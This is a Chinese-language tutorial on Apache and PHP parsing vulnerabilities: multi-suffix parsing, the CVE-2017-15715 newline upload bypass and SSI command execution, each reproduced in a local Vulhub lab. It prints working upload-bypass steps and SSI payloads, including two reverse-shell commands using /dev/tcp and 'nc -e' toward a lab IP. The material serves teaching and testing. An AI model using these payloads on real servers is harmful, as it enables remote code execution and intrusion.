这篇文章主要讲解了“Apache中间件漏洞原理及复现方法”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Apache中间件漏洞原理及复现方法”吧!
apache是世界上使用排名第一的web服务器软件。他广泛使用在各种计算机平台,由于其跨平台和安全性被广泛使用,是最流行的web服务器端软件之一。他快速、可靠并且通过简单的API扩充,将perl/python等语言解释器编译到服务器中。
apache的目录结构:
bin 存在常用命令工具,例如:start.bat、httpd.bat cgi-bin 存放linux下常用的命令。例如:xxx.sh conf apache的相关配置文件,例如:httpd.conf error 错误日志记录 htdocs 放网站源码的地方 logs 日志 manual 手册 modules 扩展模块
下面讲到apache的漏洞必须理解apache运行原理
很多小伙伴在搭建php+apache环境时,经常采用phpstudy,lamp、xampp等集成环境搭建,很容易忽略里面的一下原理,为了更好的理解本章中讲到的漏洞,我们必须要说一下apache与PHP的小秘密
下面我们通过下图来说一下完整的web请求流程:
请求从request开始,到response结束
图中简易描述了apache与php配合完成了一次web请求,apache在前,php在后,那两者之间如何通信的呢,我们先了解一下php的框架。如下图:
深入理解zend SAPIs: https://www.laruence.com/2008/08/12/180.html
简单理解:
通过上图可以看出PHP的整体分为5层(类似Android的架构图),分别解释下:
1.Zend Engine是PHP的底层实现,包含编译和执行,底层由C语言实现。 2.Zend API、Zend Extension API是基于Zend底层对外封装提供服务。 3.Extendions使用Extension API实现了扩展库、标准库,例如各种内置函数、MySQL连接库等 4.SAPI是服务器应用程序编程接口,就是通过它来和apache、nginx、FastCGI交互 5.Application是最上层,也就是我们写的PHP代码了
明白了上面的php的架构,那么现在关于apache和php通信的过程还是不明白?
apache本身不支持php解析,通过架构图可以知道通过SAPI进行通信,那么apache如何和SAPI通信呢,apache怎么知道是什么类型的文件要解析为php,如果你动手搭建过apache解析php的环境,就肯定了解这两个问题:
#加载php5_module模块 LoadModule php5_module php5apache2_2.dll 路径 #添加可以执行php的文件类型,让.php解析为php AddType application/x-httpd-php .php #或者将addtype变为下面的(在apache 2.4.0~2.4.29中默认使用了该方式) <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> 以及 <IfModule dir_module> DirectoryIndex index.html index.htm index.php index.phtml </IfModule>
apache通过LoadModule来加载php5_module模块(php5apache2_2.dll),这样做的目的是让apache加载php5_module模块来解析php文件。意思其实就是用loadmodule来加载php5_module。也就是吧php作为apache的一个子模块来运行。当通过web访问php文件时,apache就会调用php5_module来解析php代码。
调用过程可以概况为:
HTTP->APACHE->PHP5_MODULE->SAPI-PHP
讲到这里各位应该明白了apache是怎么调用php了吧
解析漏洞(CVE-2017-15715):未知扩展名解析漏洞
apache的解析漏洞依赖于一个特性:apache默认一个文件可以有多个以点分割的后缀,比如test.php.abc,当最右边的后缀无法识别(不在mime.types文件内),则继续向左识别,知道识别到合法后缀才能进行解析,与windows不同,apache对文件的名解析不是仅仅认识最后一个后缀名,而是从右向左,依此识别,直到遇到自己可以解析的文件为止。
apache官方解释地址: http://httpd.apache.org/docs/current/mod/directive-dict.html
通过phpstudy部署apache+php环境
访问phpinfo
apache的文件名扩展名的定义在conf/mime.types文件中
我们建立如下的文件来验证该规则
访问phpinfo.png.abc文件
访问phpinfo.png文件
我们可以看到.png.abc的文件可以被解析为.png文件,那么我在php文件后面添加其他的php不能识别的后缀可以解析为php文件,用来绕过一些文件上传限制的规则,并使其正常解析。
访问phpinfo.php.abc
根据上图我们发现php.abc中的文件是通过txt访问展示,不能使用php解析,那是因为apache与php结合模式不同。
CGI模式:
CGI通常翻译为共同网关接口,是HTTP服务器域机器上的其他程序进行通信的一个接口,让WEB服务器必要时启动额外的程序处理动态内容。CGI是一种协议,他定义webserver域CGI程序的通信方式。缺点是每次客户端请求都需要建立和销毁进程。因为HTTP要生成一个动态页面,系统就必须启动一个新的进程以运行CGI程序,不断地fork是一项很消耗时间和资源的工作。
FastCGI模式:
CGI解析器的反复加载是CGI性能低下的主要原因,如果CGI解析器保持在内存中,并接受GastCGI进程管理器调度,则可以提供良好的信息,伸缩性等。
FastCGI是一个常驻型的CGI,可以一直执行,只要激活后,不需要每次花时间去fork一次。
Module模式:
apache的MPM的工作模式(多道处理模块)用于定义apache在响应多个用户请求时所工作的模型。有三种MPM模式:
prefork(一个请求一个进程响应)
worker(一个请求用一个线程响应,启动多个进程每个进程生成多个线程)
event(一个进程处理多个请求)
详细请参考: https://blog.csdn.net/sinat_22991367/article/details/73431316
根据上述我们了解了apache与php结合的三种模式,那么不同模式和解析漏洞有什么关系呢,下面我们一起看一下:
使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。并且,想利用此漏洞必须保障文件扩展名中至少带有一个“.php”,否则将默认被作为txt/html文档处理。
1、使用module模式域php结合的所有版本,apache存在未知扩展名解析漏洞 2、使用fastcgi模式域php结合的所有版本,apache不存在此漏洞未知扩展名解析漏洞 3、想利用此漏洞必须保证文件名至少带有一个“.php”.否则将默认被作为txt/html文档处理
Apache 2.0 Handler使用的为module模式
详解参考 https://blog.csdn.net/wn314/article/details/77074477
安装apache
kali虚拟机中包含有apache,在/etc/目录下
cd /etc/ ls -al apache2/
启动apache
/etc/init.d/apache2 start /etc/init.d/apache2 status service apache2 restart netstat -tnlp
访问80端口
安装php
同上kali虚拟机中是包含有php的,也在/etc/目录下面
php -v #查看php版本
测试apache是否可以解析php文件
在/var/www/html目录下创建index.php文件
touch index.php #创建文件 #在文件中添加 <?phpinfo();?> #编辑文件 gedit index.php
访问index.php
apache2和apache目录不同,apache2大致分为conf、mods、sites目录及一些配置文件,每个目录都有enabled类型和availablelia后缀两种。
enabled #是启动文件,里面默认放的是 availble #文件夹中的配置文件的软链接。 avaibled #中的放的文件才是真正的配置文件。 ports.conf #为服务器监听IP和端口设置的配置文件, apache2.conf #对应httpd.conf文件 sites-available #如果apache上配置了多个虚拟主机,每个虚拟主机的配置文件在目录中 mods-available #是存放apache功能模块的配置文件和链接的,当我安装了PHP模块后,在这两个目录里就有了php5.load、php5.conf和指向这两个文件的链接。
根据上面说明,我们查看php的配置需要在sites-available目录中
查看php7.3.conf文件,第一行就告诉了我们apache会将那些后缀的文件当做php解析
<FilesMatch ".+\.ph(ar|p|tml)$">
根据上面正则表示,当如下结尾的文件会被apache当做php解析
phar php phtml
apache这次解析漏洞的根本原因及时这个 $ 字符,在正则表达式中,$ 符号用来匹配字符串结尾位置。
菜鸟教程解释: https://www.runoob.com/regexp/regexp-syntax.html
漏洞复现
我们修改php7.3.conf文件中刚刚提到了正则表达式,意思为匹配后缀名带.php、.phar、.phtml文件
<FilesMatch ".+\.ph(ar|p|tml)*"> 将 $ 修改为 *
重启apache
service apache2 restart
测试访问phpinfo.php.jpg文件
我们看到果然phpinfo.php.jpg被当做php解析了。
总结利用条件
1.使用module模式,且正则符合条件 2.文件中至少带一个.php 3.apache解析文件名从右向左解析,即使最右边的文件格式在mime.types文件内,只要文件中出现.php,就可以被php模块解析
漏洞复现
访问phpinfo.php.jpg,正常情况下apache解析文件名从右向左解析,phpinfo.php.jpg首先解析jpg格式文件,所以显示图片。
在sites-enabled目录下添加一个conf文件,意思为apache识别只要带.php后缀的全部文件,
AddHandler application/x-httpd-php .php
重启apache
service apache2 restart
访问phpinfo.php.jpg文件
利用总结
即使最右边的文件格式在mime.types文件内,只要文件中出现.php,就可以被php模块解析
漏洞复现
在mime.types文件中,不仅仅有php,还有php3、php4、php5等。
cat /etc/mime.types | grep php
在php7.4.php正则表达式,匹配php、phar、phtml
<FilesMatch ".+\.ph(ar|p|tml)$">
我们可以通过其他文件后缀名解析php文件,比如:phtml。在特定的时候,绕过一些限制
1、如果修改/etc/apache2/mods-enabled/phpxx.conf文件中第一行正版表达式,会出现文件解析漏洞。
<FilesMatch ".+\.ph(ar|p|tml)$"> 将 $ 修改为 * . \.等其他字符
2、如果在apache的/etc/apache2/apache2.conf中有这样的配置
<FilesMatch ".jpg"> SetHandler application/x-httpd-php </FilesMatch>
这时候文件名为包含.jpg的文件,全部解析为php
3、在apache的sites-enabled目录下添加一个conf文件,配置一行代码:
AddHandler application/x-httpd-php .php
这时候只要文件名包含.php,就可以被解析为php
4、在/etc/apache2/mods-enabled/phpxx.conf正则表达式,匹配php、phar、phtml和在/etc/mime.types匹配php3、php4、php5等一些文件,我们在此范围内修改后缀名上传文件,可以简单绕过一下限制。
apache通过modl_php模式来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞。在解析php时xx.php\0A将被安全.php后缀进行解析,导致绕过一些安全机制。
在/etc/apache2/mods-enabled/php7.3.php第一行正则限制了可以解析的php文件类型
正则表达式在结尾处$ 符号,如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'。
利用这一机制,如果在文件名后添加换行符,是否可以绕过文件上传限制,并同时达到可以让php解析的地步的,下面我们开始测试,即:
1.php\x0a = 1.php\n
curl -s https://get.docker.com/ | sh
查看docker版本
docker -v
apt install python-pip pip install docker-compose sudo apt install docker-compose
查看docker-compose版本
docker-compose -v
安装完成docker和docker-compose之后,将valhue下载或者上传到本地任意目录
git clone https://github.com/vulhub/vulhub.git
或者将软件包上传到本地
cd vulhub-master/httpd/CVE-2017-15715/ # docker-compose up -d运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。 如果更新了配置文件,你可以手工执行docker-compose build来重新编译靶场环境。 docker-compose build docker-compose up -d docker ps 列出所有在运行的容器信息。
访问8080端口
直接上传文件,失败
使用burp抓取请求报
发送到repeater,在1.php后添加.符号
.符号hex编码为2e 0a在hex解码或为换行符
将2e修改为0a
修改前
修改后
上传成功
访问2.php文件
http://192.168.43.129:8080/2.php%0a
我们看一下,上传的文件,\n对应这hex编码中的0a
为什么加载0X0a就能让给了呢,我们先看一下index.php的代码
<?php if(isset($_FILES['file'])) { $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file'); } move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); } else { ?> <!DOCTYPE html> <html> <head> <title>Upload</title> </head> <body> <form method="POST" enctype="multipart/form-data"> <p> <label>file:<input type="file" name="file"></label> </p> <p> <label>filename:<input type="text" name="name" value="evil.php"></label> </p> <input type="submit"> </form> </body> </html> <?php } ?>
可见,这里用到了黑名单,如果发现后缀在'php', 'php3', 'php4', 'php5', 'phtml', 'pht'这几个黑名单里,一律进制上传,进行拦截。
根据前文我们提到,php模块在解析php文件中通过正则表达式验证可以解析的文件名,正则表达式在结尾处$ 符号,如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'。我们在文件结尾加上\x0a(\n),保证了文件解析的同时,也可以绕过上传黑名单。
0x0a和0x0d的区别:
0x0d、 \r、CR这三者代表回车,是同一个意思,回车的作用只是移动光标至该行的起始位置 0x0a、\n、CL这三者代表换行,是同一个意思,换行至下一行行首起始位置
1、升级到最新版本 2、或将上传的文件重命名为时间戳+随机数+.jpg的格式,并禁用上传文件目录执行脚本权限
docker-compose up -d #启动所有服务并在后台运行 docker-compose up ps #查看服务运行状态 docker-compose restart #重启所有服务 docker-compose restart myApp #重启myApp服务 docker-compose start #开始所有服务 docker-compose stop #停止所有服务 docker-compose rm #删除所有服务 docker-compose build #重新编译靶场环境
SSI(server-side includes):是放置在HTML页面中的指令,他可以将动态生成的内容添加到现在的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开始SSI需要单独配置Apache,参考:
https://httpd.apache.org/docs/2.4/howto/ssi.html
SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作,功能很强大。
在测试任意文件上传漏洞时时候,目标服务器可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。
apache全版本(支持SSI与CGI)
此次测试使用docker搭建环境,环境采用Vulhub靶机
cd /root/vulhub-master/httpd/ssi-rce docker-compose up -d docker ps
cat upload.php
我们利用SSI执行系统命令的工作,正常一个包含SSI指令的文件,保存在test.shtml文件,内容如下:
<pre> <!--#exec cmd="whoami" --> </pre>
文件的后缀名取决于apache的配置,默认是此后缀。
如果后台对后缀名校验不严格时,可以上传shtml类型文件,达到命令执行,获取webshell的目录。
访问shtml文件,看到whoami命令执行并返回了结果
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.43.129/8888 0<&1 2>&1" --> <!--#exec cmd="nc 192.168.43.129 8888 -e /bin/bash"-->
感谢各位的阅读,以上就是“Apache中间件漏洞原理及复现方法”的内容了,经过本文的学习后,相信大家对Apache中间件漏洞原理及复现方法这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。